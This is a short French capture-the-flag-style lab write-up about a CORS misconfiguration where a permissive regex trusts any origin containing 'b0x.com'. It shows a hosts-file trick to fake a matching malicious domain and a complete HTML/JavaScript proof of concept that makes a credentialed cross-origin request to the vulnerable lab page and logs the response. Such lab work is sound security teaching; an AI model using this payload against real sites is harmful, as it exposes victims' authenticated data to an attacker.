Application has bad "regex" Implementation to check Trusted Origin

Le second challenge propose une mauvaise configuration causée par l'utilisation d'une regex trop permissive :

En effet, il suffit simplement que le site (le nom de domaine) demandant la ressource possède l'occurrence b0x.com pour être autorisé à accéder Sans cela, la requête sera bloquée par CORS :

Pour simuler un nom de domaine malicieux mais contenant l'occurrence souhaité, je modifie mon fichier /etc/hosts :

192.168.56.182    maliciousb0x.com

Le script hébergé sur le serveur malicieux reste le même que pour le précédent challenge :

<html>
  <head>
    <title>CORS vulnerable lab - Bad regex implementation</title>
  </head>

  <body>
    <script>
      var xhr = new XMLHttpRequest();

      xhr.open('GET', 'http://192.168.56.184/bad_regex.php', true);
      xhr.withCredentials = true;

      xhr.onreadystatechange = function() {
        if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
          console.log(xhr.response);                    
        }
      }

      xhr.send();
    </script> 
  </body>
</html>

Le contenu du site vulnérable s'affiche bien dans la console lorsque la victime visite la page malicieuse :

La réponse lors de l'accès à la ressource contient bien l'entête CORS attendu :

Dernière mise à jour